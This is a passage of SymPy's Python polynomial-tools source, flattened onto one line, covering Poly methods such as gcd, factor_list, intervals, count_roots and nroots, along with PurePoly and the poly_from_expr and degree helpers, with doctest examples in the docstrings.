per(result, remove=0) def discriminant(f): """ Computes the discriminant of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 2*x + 3, x).discriminant() -8 """ if hasattr(f.rep, 'discriminant'): result = f.rep.discriminant() else: # pragma: no cover raise OperationNotSupported(f, 'discriminant') return f.per(result, remove=0) def cofactors(f, g): """ Returns the GCD of ``f`` and ``g`` and their cofactors. Returns polynomials ``(h, cff, cfg)`` such that ``h = gcd(f, g)``, and ``cff = quo(f, h)`` and ``cfg = quo(g, h)`` are, so called, cofactors of ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).cofactors(Poly(x**2 - 3*x + 2, x)) (Poly(x - 1, x, domain='ZZ'), Poly(x + 1, x, domain='ZZ'), Poly(x - 2, x, domain='ZZ')) """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'cofactors'): h, cff, cfg = F.cofactors(G) else: # pragma: no cover raise OperationNotSupported(f, 'cofactors') return per(h), per(cff), per(cfg) def gcd(f, g): """ Returns the polynomial GCD of ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).gcd(Poly(x**2 - 3*x + 2, x)) Poly(x - 1, x, domain='ZZ') """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'gcd'): result = F.gcd(G) else: # pragma: no cover raise OperationNotSupported(f, 'gcd') return per(result) def lcm(f, g): """ Returns polynomial LCM of ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).lcm(Poly(x**2 - 3*x + 2, x)) Poly(x**3 - 2*x**2 - x + 2, x, domain='ZZ') """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'lcm'): result = F.lcm(G) else: # pragma: no cover raise OperationNotSupported(f, 'lcm') return per(result) def trunc(f, p): """ Reduce ``f`` modulo a constant ``p``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**3 + 3*x**2 + 5*x + 7, x).trunc(3) Poly(-x**3 - x + 1, x, domain='ZZ') """ p = f.rep.dom.convert(p) if hasattr(f.rep, 'trunc'): result = f.rep.trunc(p) else: # pragma: no cover raise OperationNotSupported(f, 'trunc') return f.per(result) def monic(f, auto=True): """ Divides all coefficients by ``LC(f)``. Examples ======== >>> from sympy import Poly, ZZ >>> from sympy.abc import x >>> Poly(3*x**2 + 6*x + 9, x, domain=ZZ).monic() Poly(x**2 + 2*x + 3, x, domain='QQ') >>> Poly(3*x**2 + 4*x + 2, x, domain=ZZ).monic() Poly(x**2 + 4/3*x + 2/3, x, domain='QQ') """ if auto and f.rep.dom.has_Ring: f = f.to_field() if hasattr(f.rep, 'monic'): result = f.rep.monic() else: # pragma: no cover raise OperationNotSupported(f, 'monic') return f.per(result) def content(f): """ Returns the GCD of polynomial coefficients. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(6*x**2 + 8*x + 12, x).content() 2 """ if hasattr(f.rep, 'content'): result = f.rep.content() else: # pragma: no cover raise OperationNotSupported(f, 'content') return f.rep.dom.to_sympy(result) def primitive(f): """ Returns the content and a primitive form of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**2 + 8*x + 12, x).primitive() (2, Poly(x**2 + 4*x + 6, x, domain='ZZ')) """ if hasattr(f.rep, 'primitive'): cont, result = f.rep.primitive() else: # pragma: no cover raise OperationNotSupported(f, 'primitive') return f.rep.dom.to_sympy(cont), f.per(result) def compose(f, g): """ Computes the functional composition of ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + x, x).compose(Poly(x - 1, x)) Poly(x**2 - x, x, domain='ZZ') """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'compose'): result = F.compose(G) else: # pragma: no cover raise OperationNotSupported(f, 'compose') return per(result) def decompose(f): """ Computes a functional decomposition of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**4 + 2*x**3 - x - 1, x, domain='ZZ').decompose() [Poly(x**2 - x - 1, x, domain='ZZ'), Poly(x**2 + x, x, domain='ZZ')] """ if hasattr(f.rep, 'decompose'): result = f.rep.decompose() else: # pragma: no cover raise OperationNotSupported(f, 'decompose') return map(f.per, result) def shift(f, a): """ Efficiently compute Taylor shift ``f(x + a)``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 2*x + 1, x).shift(2) Poly(x**2 + 2*x + 1, x, domain='ZZ') """ if hasattr(f.rep, 'shift'): result = f.rep.shift(a) else: # pragma: no cover raise OperationNotSupported(f, 'shift') return f.per(result) def sturm(f, auto=True): """ Computes the Sturm sequence of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 - 2*x**2 + x - 3, x).sturm() [Poly(x**3 - 2*x**2 + x - 3, x, domain='QQ'), Poly(3*x**2 - 4*x + 1, x, domain='QQ'), Poly(2/9*x + 25/9, x, domain='QQ'), Poly(-2079/4, x, domain='QQ')] """ if auto and f.rep.dom.has_Ring: f = f.to_field() if hasattr(f.rep, 'sturm'): result = f.rep.sturm() else: # pragma: no cover raise OperationNotSupported(f, 'sturm') return map(f.per, result) def gff_list(f): """ Computes greatest factorial factorization of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = x**5 + 2*x**4 - x**3 - 2*x**2 >>> Poly(f).gff_list() [(Poly(x, x, domain='ZZ'), 1), (Poly(x + 2, x, domain='ZZ'), 4)] """ if hasattr(f.rep, 'gff_list'): result = f.rep.gff_list() else: # pragma: no cover raise OperationNotSupported(f, 'gff_list') return [ (f.per(g), k) for g, k in result ] def sqf_norm(f): """ Computes square-free norm of ``f``. Returns ``s``, ``f``, ``r``, such that ``g(x) = f(x-sa)`` and ``r(x) = Norm(g(x))`` is a square-free polynomial over ``K``, where ``a`` is the algebraic extension of the ground domain. Examples ======== >>> from sympy import Poly, sqrt >>> from sympy.abc import x >>> s, f, r = Poly(x**2 + 1, x, extension=[sqrt(3)]).sqf_norm() >>> s 1 >>> f Poly(x**2 - 2*sqrt(3)*x + 4, x, domain='QQ<sqrt(3)>') >>> r Poly(x**4 - 4*x**2 + 16, x, domain='QQ') """ if hasattr(f.rep, 'sqf_norm'): s, g, r = f.rep.sqf_norm() else: # pragma: no cover raise OperationNotSupported(f, 'sqf_norm') return s, f.per(g), f.per(r) def sqf_part(f): """ Computes square-free part of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 - 3*x - 2, x).sqf_part() Poly(x**2 - x - 2, x, domain='ZZ') """ if hasattr(f.rep, 'sqf_part'): result = f.rep.sqf_part() else: # pragma: no cover raise OperationNotSupported(f, 'sqf_part') return f.per(result) def sqf_list(f, all=False): """ Returns a list of square-free factors of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = 2*x**5 + 16*x**4 + 50*x**3 + 76*x**2 + 56*x + 16 >>> Poly(f).sqf_list() (2, [(Poly(x + 1, x, domain='ZZ'), 2), (Poly(x + 2, x, domain='ZZ'), 3)]) >>> Poly(f).sqf_list(all=True) (2, [(Poly(1, x, domain='ZZ'), 1), (Poly(x + 1, x, domain='ZZ'), 2), (Poly(x + 2, x, domain='ZZ'), 3)]) """ if hasattr(f.rep, 'sqf_list'): coeff, factors = f.rep.sqf_list(all) else: # pragma: no cover raise OperationNotSupported(f, 'sqf_list') return f.rep.dom.to_sympy(coeff), [ (f.per(g), k) for g, k in factors ] def sqf_list_include(f, all=False): """ Returns a list of square-free factors of ``f``. Examples ======== >>> from sympy import Poly, expand >>> from sympy.abc import x >>> f = expand(2*(x + 1)**3*x**4) >>> f 2*x**7 + 6*x**6 + 6*x**5 + 2*x**4 >>> Poly(f).sqf_list_include() [(Poly(2, x, domain='ZZ'), 1), (Poly(x + 1, x, domain='ZZ'), 3), (Poly(x, x, domain='ZZ'), 4)] >>> Poly(f).sqf_list_include(all=True) [(Poly(2, x, domain='ZZ'), 1), (Poly(1, x, domain='ZZ'), 2), (Poly(x + 1, x, domain='ZZ'), 3), (Poly(x, x, domain='ZZ'), 4)] """ if hasattr(f.rep, 'sqf_list_include'): factors = f.rep.sqf_list_include(all) else: # pragma: no cover raise OperationNotSupported(f, 'sqf_list_include') return [ (f.per(g), k) for g, k in factors ] def factor_list(f): """ Returns a list of irreducible factors of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = 2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y >>> Poly(f).factor_list() (2, [(Poly(x + y, x, y, domain='ZZ'), 1), (Poly(x**2 + 1, x, y, domain='ZZ'), 2)]) """ if hasattr(f.rep, 'factor_list'): try: coeff, factors = f.rep.factor_list() except DomainError: return S.One, [(f, 1)] else: # pragma: no cover raise OperationNotSupported(f, 'factor_list') return f.rep.dom.to_sympy(coeff), [ (f.per(g), k) for g, k in factors ] def factor_list_include(f): """ Returns a list of irreducible factors of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = 2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y >>> Poly(f).factor_list_include() [(Poly(2*x + 2*y, x, y, domain='ZZ'), 1), (Poly(x**2 + 1, x, y, domain='ZZ'), 2)] """ if hasattr(f.rep, 'factor_list_include'): try: factors = f.rep.factor_list_include() except DomainError: return [(f, 1)] else: # pragma: no cover raise OperationNotSupported(f, 'factor_list_include') return [ (f.per(g), k) for g, k in factors ] def intervals(f, all=False, eps=None, inf=None, sup=None, fast=False, sqf=False): """ Compute isolating intervals for roots of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 3, x).intervals() [((-2, -1), 1), ((1, 2), 1)] >>> Poly(x**2 - 3, x).intervals(eps=1e-2) [((-26/15, -19/11), 1), ((19/11, 26/15), 1)] """ if eps is not None: eps = QQ.convert(eps) if eps <= 0: raise ValueError("'eps' must be a positive rational") if inf is not None: inf = QQ.convert(inf) if sup is not None: sup = QQ.convert(sup) if hasattr(f.rep, 'intervals'): result = f.rep.intervals( all=all, eps=eps, inf=inf, sup=sup, fast=fast, sqf=sqf) else: # pragma: no cover raise OperationNotSupported(f, 'intervals') if sqf: def _real(interval): s, t = interval return (QQ.to_sympy(s), QQ.to_sympy(t)) if not all: return map(_real, result) def _complex(rectangle): (u, v), (s, t) = rectangle return (QQ.to_sympy(u) + I*QQ.to_sympy(v), QQ.to_sympy(s) + I*QQ.to_sympy(t)) real_part, complex_part = result return map(_real, real_part), map(_complex, complex_part) else: def _real(interval): (s, t), k = interval return ((QQ.to_sympy(s), QQ.to_sympy(t)), k) if not all: return map(_real, result) def _complex(rectangle): ((u, v), (s, t)), k = rectangle return ((QQ.to_sympy(u) + I*QQ.to_sympy(v), QQ.to_sympy(s) + I*QQ.to_sympy(t)), k) real_part, complex_part = result return map(_real, real_part), map(_complex, complex_part) def refine_root(f, s, t, eps=None, steps=None, fast=False, check_sqf=False): """ Refine an isolating interval of a root to the given precision. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 3, x).refine_root(1, 2, eps=1e-2) (19/11, 26/15) """ if check_sqf and not f.is_sqf: raise PolynomialError("only square-free polynomials supported") s, t = QQ.convert(s), QQ.convert(t) if eps is not None: eps = QQ.convert(eps) if eps <= 0: raise ValueError("'eps' must be a positive rational") if steps is not None: steps = int(steps) elif eps is None: steps = 1 if hasattr(f.rep, 'refine_root'): S, T = f.rep.refine_root(s, t, eps=eps, steps=steps, fast=fast) else: # pragma: no cover raise OperationNotSupported(f, 'refine_root') return QQ.to_sympy(S), QQ.to_sympy(T) def count_roots(f, inf=None, sup=None): """ Return the number of roots of ``f`` in ``[inf, sup]`` interval. Examples ======== >>> from sympy import Poly, I >>> from sympy.abc import x >>> Poly(x**4 - 4, x).count_roots(-3, 3) 2 >>> Poly(x**4 - 4, x).count_roots(0, 1 + 3*I) 1 """ inf_real, sup_real = True, True if inf is not None: inf = sympify(inf) if inf is S.NegativeInfinity: inf = None else: re, im = inf.as_real_imag() if not im: inf = QQ.convert(inf) else: inf, inf_real = map(QQ.convert, (re, im)), False if sup is not None: sup = sympify(sup) if sup is S.Infinity: sup = None else: re, im = sup.as_real_imag() if not im: sup = QQ.convert(sup) else: sup, sup_real = map(QQ.convert, (re, im)), False if inf_real and sup_real: if hasattr(f.rep, 'count_real_roots'): count = f.rep.count_real_roots(inf=inf, sup=sup) else: # pragma: no cover raise OperationNotSupported(f, 'count_real_roots') else: if inf_real and inf is not None: inf = (inf, QQ.zero) if sup_real and sup is not None: sup = (sup, QQ.zero) if hasattr(f.rep, 'count_complex_roots'): count = f.rep.count_complex_roots(inf=inf, sup=sup) else: # pragma: no cover raise OperationNotSupported(f, 'count_complex_roots') return Integer(count) def root(f, index, radicals=True): """ Get an indexed root of a polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = Poly(2*x**3 - 7*x**2 + 4*x + 4) >>> f.root(0) -1/2 >>> f.root(1) 2 >>> f.root(2) 2 >>> f.root(3) Traceback (most recent call last): ... IndexError: root index out of [-3, 2] range, got 3 >>> Poly(x**5 + x + 1).root(0) RootOf(x**3 - x**2 + 1, 0) """ return sympy.polys.rootoftools.RootOf(f, index, radicals=radicals) def real_roots(f, multiple=True, radicals=True): """ Return a list of real roots with multiplicities. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**3 - 7*x**2 + 4*x + 4).real_roots() [-1/2, 2, 2] >>> Poly(x**3 + x + 1).real_roots() [RootOf(x**3 + x + 1, 0)] """ reals = sympy.polys.rootoftools.RootOf.real_roots(f, radicals=radicals) if multiple: return reals else: return group(reals, multiple=False) def all_roots(f, multiple=True, radicals=True): """ Return a list of real and complex roots with multiplicities. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**3 - 7*x**2 + 4*x + 4).all_roots() [-1/2, 2, 2] >>> Poly(x**3 + x + 1).all_roots() [RootOf(x**3 + x + 1, 0), RootOf(x**3 + x + 1, 1), RootOf(x**3 + x + 1, 2)] """ roots = sympy.polys.rootoftools.RootOf.all_roots(f, radicals=radicals) if multiple: return roots else: return group(roots, multiple=False) def nroots(f, n=15, maxsteps=50, cleanup=True, error=False): """ Compute numerical approximations of roots of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 3).nroots(n=15) [-1.73205080756888, 1.73205080756888] >>> Poly(x**2 - 3).nroots(n=30) [-1.73205080756887729352744634151, 1.73205080756887729352744634151] """ if f.is_multivariate: raise MultivariatePolynomialError( "can't compute numerical roots of %s" % f) if f.degree() <= 0: return [] coeffs = [ coeff.evalf(n=n).as_real_imag() for coeff in f.all_coeffs() ] dps = sympy.mpmath.mp.dps sympy.mpmath.mp.dps = n try: try: coeffs = [ sympy.mpmath.mpc(*coeff) for coeff in coeffs ] except TypeError: raise DomainError( "numerical domain expected, got %s" % f.rep.dom) result = sympy.mpmath.polyroots( coeffs, maxsteps=maxsteps, cleanup=cleanup, error=error) if error: roots, error = result else: roots, error = result, None roots = map(sympify, sorted(roots, key=lambda r: (r.real, r.imag))) finally: sympy.mpmath.mp.dps = dps if error is not None: return roots, sympify(error) else: return roots def ground_roots(f): """ Compute roots of ``f`` by factorization in the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**6 - 4*x**4 + 4*x**3 - x**2).ground_roots() {0: 2, 1: 2} """ if f.is_multivariate: raise MultivariatePolynomialError( "can't compute ground roots of %s" % f) roots = {} for factor, k in f.factor_list()[1]: if factor.is_linear: a, b = factor.all_coeffs() roots[-b/a] = k return roots def nth_power_roots_poly(f, n): """ Construct a polynomial with n-th powers of roots of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = Poly(x**4 - x**2 + 1) >>> f.nth_power_roots_poly(2) Poly(x**4 - 2*x**3 + 3*x**2 - 2*x + 1, x, domain='ZZ') >>> f.nth_power_roots_poly(3) Poly(x**4 + 2*x**2 + 1, x, domain='ZZ') >>> f.nth_power_roots_poly(4) Poly(x**4 + 2*x**3 + 3*x**2 + 2*x + 1, x, domain='ZZ') >>> f.nth_power_roots_poly(12) Poly(x**4 - 4*x**3 + 6*x**2 - 4*x + 1, x, domain='ZZ') """ if f.is_multivariate: raise MultivariatePolynomialError( "must be a univariate polynomial") N = sympify(n) if N.is_Integer and N >= 1: n = int(N) else: raise ValueError("'n' must an integer and n >= 1, got %s" % n) x = f.gen t = Dummy('t') r = f.resultant(f.__class__.from_expr(x**n - t, x, t)) return r.replace(t, x) def cancel(f, g, include=False): """ Cancel common factors in a rational function ``f/g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**2 - 2, x).cancel(Poly(x**2 - 2*x + 1, x)) (1, Poly(2*x + 2, x, domain='ZZ'), Poly(x - 1, x, domain='ZZ')) >>> Poly(2*x**2 - 2, x).cancel(Poly(x**2 - 2*x + 1, x), include=True) (Poly(2*x + 2, x, domain='ZZ'), Poly(x - 1, x, domain='ZZ')) """ dom, per, F, G = f._unify(g) if hasattr(F, 'cancel'): result = F.cancel(G, include=include) else: # pragma: no cover raise OperationNotSupported(f, 'cancel') if not include: if dom.has_assoc_Ring: dom = dom.get_ring() cp, cq, p, q = result cp = dom.to_sympy(cp) cq = dom.to_sympy(cq) return cp/cq, per(p), per(q) else: return tuple(map(per, result)) @property def is_zero(f): """ Returns ``True`` if ``f`` is a zero polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(0, x).is_zero True >>> Poly(1, x).is_zero False """ return f.rep.is_zero @property def is_one(f): """ Returns ``True`` if ``f`` is a unit polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(0, x).is_one False >>> Poly(1, x).is_one True """ return f.rep.is_one @property def is_sqf(f): """ Returns ``True`` if ``f`` is a square-free polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 2*x + 1, x).is_sqf False >>> Poly(x**2 - 1, x).is_sqf True """ return f.rep.is_sqf @property def is_monic(f): """ Returns ``True`` if the leading coefficient of ``f`` is one. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x + 2, x).is_monic True >>> Poly(2*x + 2, x).is_monic False """ return f.rep.is_monic @property def is_primitive(f): """ Returns ``True`` if GCD of the coefficients of ``f`` is one. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x**2 + 6*x + 12, x).is_primitive False >>> Poly(x**2 + 3*x + 6, x).is_primitive True """ return f.rep.is_primitive @property def is_ground(f): """ Returns ``True`` if ``f`` is an element of the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x, x).is_ground False >>> Poly(2, x).is_ground True >>> Poly(y, x).is_ground True """ return f.rep.is_ground @property def is_linear(f): """ Returns ``True`` if ``f`` is linear in all its variables. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x + y + 2, x, y).is_linear True >>> Poly(x*y + 2, x, y).is_linear False """ return f.rep.is_linear @property def is_quadratic(f): """ Returns ``True`` if ``f`` is quadratic in all its variables. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x*y + 2, x, y).is_quadratic True >>> Poly(x*y**2 + 2, x, y).is_quadratic False """ return f.rep.is_quadratic @property def is_monomial(f): """ Returns ``True`` if ``f`` is zero or has only one term. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(3*x**2, x).is_monomial True >>> Poly(3*x**2 + 1, x).is_monomial False """ return f.rep.is_monomial @property def is_homogeneous(f): """ Returns ``True`` if ``f`` is a homogeneous polynomial. A homogeneous polynomial is a polynomial whose all monomials with non-zero coefficients have the same total degree. If you want not only to check if a polynomial is homogeneous but also compute its homogeneous order, then use :func:`Poly.homogeneous_order`. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + x*y, x, y).is_homogeneous True >>> Poly(x**3 + x*y, x, y).is_homogeneous False """ return f.rep.is_homogeneous @property def is_irreducible(f): """ Returns ``True`` if ``f`` has no factors over its domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + x + 1, x, modulus=2).is_irreducible True >>> Poly(x**2 + 1, x, modulus=2).is_irreducible False """ return f.rep.is_irreducible @property def is_univariate(f): """ Returns ``True`` if ``f`` is a univariate polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + x + 1, x).is_univariate True >>> Poly(x*y**2 + x*y + 1, x, y).is_univariate False >>> Poly(x*y**2 + x*y + 1, x).is_univariate True >>> Poly(x**2 + x + 1, x, y).is_univariate False """ return len(f.gens) == 1 @property def is_multivariate(f): """ Returns ``True`` if ``f`` is a multivariate polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + x + 1, x).is_multivariate False >>> Poly(x*y**2 + x*y + 1, x, y).is_multivariate True >>> Poly(x*y**2 + x*y + 1, x).is_multivariate False >>> Poly(x**2 + x + 1, x, y).is_multivariate True """ return len(f.gens) != 1 @property def is_cyclotomic(f): """ Returns ``True`` if ``f`` is a cyclotomic polnomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = x**16 + x**14 - x**10 + x**8 - x**6 + x**2 + 1 >>> Poly(f).is_cyclotomic False >>> g = x**16 + x**14 - x**10 - x**8 - x**6 + x**2 + 1 >>> Poly(g).is_cyclotomic True """ return f.rep.is_cyclotomic def __abs__(f): return f.abs() def __neg__(f): return f.neg() @_sympifyit('g', NotImplemented) def __add__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return f.as_expr() + g return f.add(g) @_sympifyit('g', NotImplemented) def __radd__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return g + f.as_expr() return g.add(f) @_sympifyit('g', NotImplemented) def __sub__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return f.as_expr() - g return f.sub(g) @_sympifyit('g', NotImplemented) def __rsub__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return g - f.as_expr() return g.sub(f) @_sympifyit('g', NotImplemented) def __mul__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return f.as_expr()*g return f.mul(g) @_sympifyit('g', NotImplemented) def __rmul__(f, g): if not g.is_Poly: try: g = f.__class__(g, *f.gens) except PolynomialError: return g*f.as_expr() return g.mul(f) @_sympifyit('n', NotImplemented) def __pow__(f, n): if n.is_Integer and n >= 0: return f.pow(n) else: return f.as_expr()**n @_sympifyit('g', NotImplemented) def __divmod__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return f.div(g) @_sympifyit('g', NotImplemented) def __rdivmod__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return g.div(f) @_sympifyit('g', NotImplemented) def __mod__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return f.rem(g) @_sympifyit('g', NotImplemented) def __rmod__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return g.rem(f) @_sympifyit('g', NotImplemented) def __floordiv__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return f.quo(g) @_sympifyit('g', NotImplemented) def __rfloordiv__(f, g): if not g.is_Poly: g = f.__class__(g, *f.gens) return g.quo(f) @_sympifyit('g', NotImplemented) def __div__(f, g): return f.as_expr()/g.as_expr() @_sympifyit('g', NotImplemented) def __rdiv__(f, g): return g.as_expr()/f.as_expr() __truediv__ = __div__ __rtruediv__ = __rdiv__ @_sympifyit('g', NotImplemented) def __eq__(f, g): if not g.is_Poly: try: g = f.__class__(g, f.gens, domain=f.get_domain()) except (PolynomialError, DomainError, CoercionFailed): return False if f.gens != g.gens: return False if f.rep.dom != g.rep.dom: try: dom = f.rep.dom.unify(g.rep.dom, f.gens) except UnificationFailed: return False f = f.set_domain(dom) g = g.set_domain(dom) return f.rep == g.rep @_sympifyit('g', NotImplemented) def __ne__(f, g): return not f.__eq__(g) def __nonzero__(f): return not f.is_zero def eq(f, g, strict=False): if not strict: return f.__eq__(g) else: return f._strict_eq(sympify(g)) def ne(f, g, strict=False): return not f.eq(g, strict=strict) def _strict_eq(f, g): return isinstance(g, f.__class__) and f.gens == g.gens and f.rep.eq(g.rep, strict=True) class PurePoly(Poly): """Class for representing pure polynomials. """ def _hashable_content(self): """Allow SymPy to hash Poly instances. """ return (self.rep,) def __hash__(self): return super(PurePoly, self).__hash__() @property def free_symbols(self): """ Free symbols of a polynomial. Examples ======== >>> from sympy import PurePoly >>> from sympy.abc import x, y >>> PurePoly(x**2 + 1).free_symbols set() >>> PurePoly(x**2 + y).free_symbols set() >>> PurePoly(x**2 + y, x).free_symbols set([y]) """ return self.free_symbols_in_domain @_sympifyit('g', NotImplemented) def __eq__(f, g): if not g.is_Poly: try: g = f.__class__(g, f.gens, domain=f.get_domain()) except (PolynomialError, DomainError, CoercionFailed): return False if len(f.gens) != len(g.gens): return False if f.rep.dom != g.rep.dom: try: dom = f.rep.dom.unify(g.rep.dom, f.gens) except UnificationFailed: return False f = f.set_domain(dom) g = g.set_domain(dom) return f.rep == g.rep def _strict_eq(f, g): return isinstance(g, f.__class__) and f.rep.eq(g.rep, strict=True) def _unify(f, g): g = sympify(g) if not g.is_Poly: try: return f.rep.dom, f.per, f.rep, f.rep.per(f.rep.dom.from_sympy(g)) except CoercionFailed: raise UnificationFailed("can't unify %s with %s" % (f, g)) if len(f.gens) != len(g.gens): raise UnificationFailed("can't unify %s with %s" % (f, g)) if not (isinstance(f.rep, DMP) and isinstance(g.rep, DMP)): raise UnificationFailed("can't unify %s with %s" % (f, g)) cls = f.__class__ gens = f.gens dom = f.rep.dom.unify(g.rep.dom, gens) F = f.rep.convert(dom) G = g.rep.convert(dom) def per(rep, dom=dom, gens=gens, remove=None): if remove is not None: gens = gens[:remove] + gens[remove + 1:] if not gens: return dom.to_sympy(rep) return cls.new(rep, *gens) return dom, per, F, G def poly_from_expr(expr, *gens, **args): """Construct a polynomial from an expression. """ opt = options.build_options(gens, args) return _poly_from_expr(expr, opt) def _poly_from_expr(expr, opt): """Construct a polynomial from an expression. """ orig, expr = expr, sympify(expr) if not isinstance(expr, Basic): raise PolificationFailed(opt, orig, expr) elif expr.is_Poly: poly = expr.__class__._from_poly(expr, opt) opt['gens'] = poly.gens opt['domain'] = poly.domain if opt.polys is None: opt['polys'] = True return poly, opt elif opt.expand: expr = expr.expand() try: rep, opt = _dict_from_expr(expr, opt) except GeneratorsNeeded: raise PolificationFailed(opt, orig, expr) monoms, coeffs = zip(*rep.items()) domain = opt.domain if domain is None: domain, coeffs = construct_domain(coeffs, opt=opt) else: coeffs = map(domain.from_sympy, coeffs) level = len(opt.gens) - 1 poly = Poly.new( DMP.from_monoms_coeffs(monoms, coeffs, level, domain), *opt.gens) opt['domain'] = domain if opt.polys is None: opt['polys'] = False return poly, opt def parallel_poly_from_expr(exprs, *gens, **args): """Construct polynomials from expressions. """ opt = options.build_options(gens, args) return _parallel_poly_from_expr(exprs, opt) def _parallel_poly_from_expr(exprs, opt): """Construct polynomials from expressions. """ if len(exprs) == 2: f, g = exprs if isinstance(f, Poly) and isinstance(g, Poly): f = f.__class__._from_poly(f, opt) g = g.__class__._from_poly(g, opt) f, g = f.unify(g) opt['gens'] = f.gens opt['domain'] = f.domain if opt.polys is None: opt['polys'] = True return [f, g], opt origs, exprs = list(exprs), [] _exprs, _polys = [], [] failed = False for i, expr in enumerate(origs): expr = sympify(expr) if isinstance(expr, Basic): if expr.is_Poly: _polys.append(i) else: _exprs.append(i) if opt.expand: expr = expr.expand() else: failed = True exprs.append(expr) if failed: raise PolificationFailed(opt, origs, exprs, True) if _polys: # XXX: this is a temporary solution for i in _polys: exprs[i] = exprs[i].as_expr() try: reps, opt = _parallel_dict_from_expr(exprs, opt) except GeneratorsNeeded: raise PolificationFailed(opt, origs, exprs, True) coeffs_list, lengths = [], [] all_monoms = [] all_coeffs = [] for rep in reps: monoms, coeffs = zip(*rep.items()) coeffs_list.extend(coeffs) all_monoms.append(monoms) lengths.append(len(coeffs)) domain = opt.domain if domain is None: domain, coeffs_list = construct_domain(coeffs_list, opt=opt) else: coeffs_list = map(domain.from_sympy, coeffs_list) for k in lengths: all_coeffs.append(coeffs_list[:k]) coeffs_list = coeffs_list[k:] polys, level = [], len(opt.gens) - 1 for monoms, coeffs in zip(all_monoms, all_coeffs): rep = DMP.from_monoms_coeffs(monoms, coeffs, level, domain) polys.append(Poly.new(rep, *opt.gens)) opt['domain'] = domain if opt.polys is None: opt['polys'] = bool(_polys) return polys, opt def _update_args(args, key, value): """Add a new ``(key, value)`` pair to arguments ``dict``. """ args = dict(args) if key not in args: args[key] = value return args def degree(f, *gens, **args): """ Return the degree of ``f`` in the given variable. Examples ======== >>> from sympy import degree >>> from sympy.abc import x, y >>> degree(x**2 + y*x + 1, gen=x) 2 >>> degree(x**2 + y*x + 1, gen=y) 1 """ options.allowed_flags(args, ['gen', 'polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('degree', 1, exc) return Integer(F.degree(opt.gen)) def degree_list(f, *gens, **args): """ Return a list of degrees of ``f`` in all variables. Examples ======== >>> from sympy import degree_list >>> from sympy.abc import x, y >>> degree_list(x**2 + y*x + 1) (2, 1) """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('degree_list', 1, exc) degrees = F.degree_list() return 